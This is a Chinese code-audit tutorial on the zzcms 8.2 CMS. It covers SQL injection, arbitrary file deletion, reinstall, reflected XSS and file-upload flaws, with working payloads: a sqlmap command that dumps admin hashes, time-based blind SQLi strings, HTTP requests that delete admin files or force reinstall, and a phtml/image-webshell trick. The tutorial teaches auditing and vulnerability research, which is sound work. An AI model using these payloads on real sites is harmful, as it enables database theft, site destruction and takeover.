前言 代码审计,最重要的就是多读代码,对用户与网站交互的地方要特别注意。在进行审计时,我们也可以使用一些审计工具来辅助我们进行工作,从而提高效率。下面,笔者将分享审计zzcms8.2的过程,与大家一起学习。这里,笔者使用seay源代码审计系统 软件进行辅助工作。
审计流程 首先,笔者打开seay源代码审计系统 软件,将要审计的网站源码导入项目,然后点击自动审计。当审计完成时,我们需要根据自动审计的结果,进行逐一验证。当然,我们不需要真的每个文件都打开看过去,可以根据扫描报告中的漏洞详细信息来判断是否可能存在漏洞,如果你觉的某个地方可能存在,这时,你再打开具体文件查看。
如果你想查询某个变量或者函数在代码中的具体位置,你也可以使用全局定位搜索,该软件会快速地定位找出具体文件,这一功能大大加快了我们审计的速度。对于来自用户的数据以及后端对数据库的操作,我们要特别注意。下面笔者介绍zzcms8.2的审计过程。
代码审计实例:zzcms8.2 sql注入漏洞 首先,”/user/del.php “开头两行包含了两个文件” /inc/conn.php “、”/user/check.php “,而” /inc/conn.php “又包含了一些文件,其中要关注的是” /inc/function.php “和” /inc/stopsqlin.php “。其中” /inc/function.php “提供了一些关键的功能函数,而” /inc/stopsqlin.php “则是防止sql注入的。
1 2 3 4 5 6 7 include (zzcmsroot."/inc/config.php" );include (zzcmsroot."/inc/wjt.php" );include (zzcmsroot."/inc/function.php" );include (zzcmsroot."/inc/zsclass.php" );include (zzcmsroot."/inc/stopsqlin.php" );include (zzcmsroot."/inc/area.php" );
包含” /inc/stopsqlin.php “文件,则会对REQUEST的数据进行过滤,具体代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 function zc_check ($string) { if (!is_array($string)){ if (get_magic_quotes_gpc()){ return htmlspecialchars(trim($string)); }else { return addslashes(htmlspecialchars(trim($string))); } } foreach ($string as $k => $v) $string[$k] = zc_check($v); return $string; } if ($_REQUEST){ $_POST =zc_check($_POST); $_GET =zc_check($_GET); $_COOKIE =zc_check($_COOKIE); @extract($_POST); @extract($_GET); } function nostr ($str) { $sql_injdata = "',/,\,<,>,�" ; $sql_inj = explode("," ,$sql_injdata); for ($i=0 ; $i< count($sql_inj);$i++){ if (@strpos($str,$sql_inj[$i])!==false ){ showmsg ("含有非法字符 [" .$sql_inj[$i]."] 返回重填" ); } } return $str; }
我们来看一下”/user/check.php “函数是否存在可利用的地方,这个文件中有5处SQL语句查询,第一处,无法利用,因为首先参数经过” /inc/stopsqlin.php “消毒处理,且被单引号包裹,无法闭合。
1 2 3 $username=nostr($_COOKIE["UserName" ]); $rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='" .$username."' and password='" .$_COOKIE["PassWord" ]."'" );$row=num_rows($rs);
剩下4处SQL语句要想执行,就必须要先进行注册账号。先来看第二处的sql语句。我们再看getip()函数时,可以发现这里的ip可以伪造,而且代码未经任何过滤,仅仅只是用单引号包裹拼接。
1 2 query("UPDATE zzcms_user SET loginip = '" .getip()."' WHERE username='" .$username."'" );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function getip () { if (getenv("HTTP_CLIENT_IP" ) && strcasecmp(getenv("HTTP_CLIENT_IP" ), "unknown" )) $ip = getenv("HTTP_CLIENT_IP" ); else if (getenv("HTTP_X_FORWARDED_FOR" ) && strcasecmp(getenv("HTTP_X_FORWARDED_FOR" ), "unknown" )) $ip = getenv("HTTP_X_FORWARDED_FOR" ); else if (getenv("REMOTE_ADDR" ) && strcasecmp(getenv("REMOTE_ADDR" ), "unknown" )) $ip = getenv("REMOTE_ADDR" ); else if (isset ($_SERVER['REMOTE_ADDR' ]) && $_SERVER['REMOTE_ADDR' ] && strcasecmp($_SERVER['REMOTE_ADDR' ], "unknown" )) $ip = $_SERVER['REMOTE_ADDR' ]; else $ip = "unknown" ; return ($ip); }
那么我们直接用sqlmap跑一下,这里我事先注册好了test用户密码为test,zzcms将用户的密码经md5加密后存在数据库中,结果如下:
1 sqlmap -r Desktop/test.txt --batch -D zzcms -T zzcms_admin -C "admin,pass" --dump
1 2 3 4 5 6 7 8 9 10 GET /user/del.php HTTP/1.1Host : 192.168.1.7User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Upgrade-Insecure-Requests : 1Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6X-Forwarded-For : 111.111.111.111*Connection : close
那么最后剩下的3处sql语句都无法利用,继续往下看。
1 2 3 4 query("UPDATE zzcms_user SET totleRMB = totleRMB+" .jf_login." WHERE username='" .$username."'" ); query("insert into zzcms_pay (username,dowhat,RMB,mark,sendtime) values('" .$username."','每天登录用户中心送积分','+" .jf_login."','','" .date('Y-m-d H:i:s' )."')" ); query("UPDATE zzcms_user SET lastlogintime = '" .date('Y-m-d H:i:s' )."' WHERE username='" .$username."'" );
在130多行处,我们发现有一个sql语句直接将$tablename
变量直接进行拼接了,而这个$tablename
变量可直接从post方式获取,代码未经任何过滤直接拼接,从而引发了sql注入。
1 2 3 4 5 if (strpos($id,"," )>0 ) $sql="select id,editor from " .$tablename." where id in (" . $id .")" ; else $sql="select id,editor from " .$tablename." where id ='$id'" ;
作者vr_system 于2018-02-07发表了ZZCMS v8.2 最新版SQL注入漏洞 (http://www.freebuf.com/vuls/161888.html ) 一文,文中使用的payload为:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#
但是这并不是一个通用payload,因为如果zzcms_answer是一个空表,则该payload无法利用,所以我们改进一下,payload改成如下即可,这里注意不能使用大于号、小于号,因为post上来的数据被addslashes()、htmlspecialchars()、trim()三个函数消毒处理过了。
1 id=1&tablename=zzcms_answer where id=999999999 union select 1,2 and if((ascii(substr(user(),1,1)) = 114),sleep(3),1)#
在”/user/logincheck.php “、”/admin/logincheck.php “中也存在多处由ip导致的sql注入,这里就不一一列举了。
任意文件删除漏洞 该漏洞发生在80多行处的$f
变量,该变量直接由"../"
与$oldimg
拼接而得,并未过滤.
和/
字符,导致跨目录删除文件。所以按照代码逻辑,我们只要让$img
不等于$oldimg
,且$action
等于”modify”即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ....... if (isset ($_REQUEST["img" ])){ $img=$_REQUEST["img" ]; }else { $img="" ; } if (isset ($_REQUEST["oldimg" ])){ $oldimg=$_REQUEST["oldimg" ]; } else { $oldimg="" ; } ....... if ($action=="modify" ){ query("update zzcms_textadv set adv='$adv',company='$company',advlink='$advlink',img='$img',passed=0 where username='" .$_COOKIE["UserName" ]."'" ); if ($oldimg<>$img){ $f="../" .$oldimg; if (file_exists($f)){ unlink($f); } } ....... }
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /user/adv.php?action=modify HTTP/1.1Host : 192.168.1.7Content-Length : 149Cache-Control : max-age=0Origin : http://192.168.1.7Upgrade-Insecure-Requests : 1Content-Type : application/x-www-form-urlencodedUser-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Accept : text/html,application/xhtml xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer : http://192.168.1.7/user/adv.phpAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0;Connection : closeadv=tettste&advlink=/zt/show.php?id=1&company=测试&img=test&oldimg=admin/admin.php&Submit3=%E5%8F%91%E5%B8%83
同样的漏洞发生在”/user/licence_save.php “30多行处
1 2 3 4 5 6 7 8 9 10 ........ if ($oldimg<>$img && $oldimg<>"/image/nopic.gif" ){ $f="../" .$oldimg; if (file_exists($f)){ unlink($f); } ........ } ........
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /user/licence_save.php?action=modify HTTP/1.1Host : 192.168.1.7User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Upgrade-Insecure-Requests : 1Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : bdshare_firstime=1518262531074; PHPSESSID=jpeu0l4983924s20f6bk0ktkl0; Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 35id=1&oldimg=admin/admin.php&img=t
该漏洞还存在于”/user/manage.php “、”/user/ppsave.php “、”/user/zssave.php “、等文件中。
网站重装漏洞 来看一下”/install/index.php “文件的代码流程,发现这里并没有检测”/install/install.lock “文件是否存在,那应该是在其他文件中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php switch ($step) { case '1' : include 'step_' .$step.'.php' ; break ; case '2' : ........ include 'step_' .$step.'.php' ; break ; case '3' : include 'step_' .$step.'.php' ; break ; case '4' : include 'step_' .$step.'.php' ; break ; case '5' : ........ include 'step_' .$step.'.php' ; ?>
然而发现,只有”/install/step_1.php “文件在开头有检测”/install/install.lock “文件是否存在(存在表示已经安装过),其他”/install/step_2.php “、”/install/step_3.php “、”/install/step_4.php “、”/install/step_5.php “、”/install/step_6.php “都少了该判断导致该漏洞的发生。
1 2 3 4 if (file_exists("install.lock" )){ echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>" ; }
所以我们可以跳过第一步的检测,直接访问”/install/step_2.php “文件,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 POST /install/index.php HTTP/1.1Host : 192.168.1.7User-Agent : Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36Upgrade-Insecure-Requests : 1Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9Cookie : bdshare_firstime=1518262531074;Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 15step=2
反射型XSS 该漏洞出现在”/inc/top.php “文件中,需要用户登录方可利用。之前的大部分文件都会在开头包含” /inc/conn.php “文件,对REQUEST数据进行消毒处理,而这个文件没有,从而导致漏洞的发生。我们只需要将标签闭合即可实现反射型xss。
1 2 3 4 5 6 7 8 9 10 <?php if (@$_POST["action" ]=="search" ){ echo "<script>location.href='" .@$_POST["lb" ]."/search.php?keyword=" .@$_POST["keyword" ]."'</script>" ; } if (isset ($_REQUEST["skin" ])){ $siteskin=$_REQUEST["skin" ]; } ....... ?>
同样的漏洞还出现在”/uploadimg_form.php “文件66-67行处,这里不赘述。
文件上传漏洞 “/uploadimg_form.php “文件提供了一个文件上传的功能,然而这里没有过滤好,导致可以上传webshell。我们可以来看一下后端代码是如何进行验证的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function upfile () { if (!is_uploaded_file(@$this ->fileName[tmp_name])){ echo "<script>alert('请点击“浏览”,先选择您要上传的文件!\\n\\n支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>" ; exit ; } if ($this ->max_file_size*1024 < $this ->fileName["size" ]){ echo "<script>alert('文件大小超过了限制!最大只能上传 " .$this ->max_file_size." K的文件');parent.window.close();</script>" ;exit ; } if (!in_array($this ->fileName["type" ], $this ->uptypes)) { echo "<script>alert('文件类型错误,支持的图片类型为:jpg,gif,png,bmp');parent.window.close();</script>" ;exit ; } $hzm=strtolower(substr($this ->fileName["name" ],strpos($this ->fileName["name" ],"." ))); if (strpos($hzm,"php" )!==false || strpos($hzm,"asp" )!==false ||strpos($hzm,"jsp" )!==false ){ echo "<script>alert('" .$hzm.",这种文件不允许上传');parent.window.close();</script>" ;exit ; } ...... }
首先,先判断文件是否存在,再检查文件是否超过限制,接着检查文件类型,这里可以用GIF89a绕过检查,最后使用黑名单机制检查文件后缀,问题就出在这里,黑名单少过滤了phtml,而apache会将phtml文件按照php文件来解析。所以我们可以构造payload如下,当然,使用copy命令生成的图片木马也可以绕过(例如:copy test.jpg/b+test.php shell.jpg)。
结束语 当然,大家也可以使用其他的审计工具进行辅助,只要适合自己,有利于审计即可。虽然这是一个小cms,但是对于代码审计的新手来说,就是要多读、多看、多想。审计小cms的过程,就是在积累经验的过程,更是对我们将来审计大型框架进行铺垫。这里推荐大家一本书《代码审计–企业级Web代码安全架构》,然后多看看网络上代码审计的案例,最重要的,还要自己动手审计一遍,希望这些技巧能够对你学习代码审计有所帮助。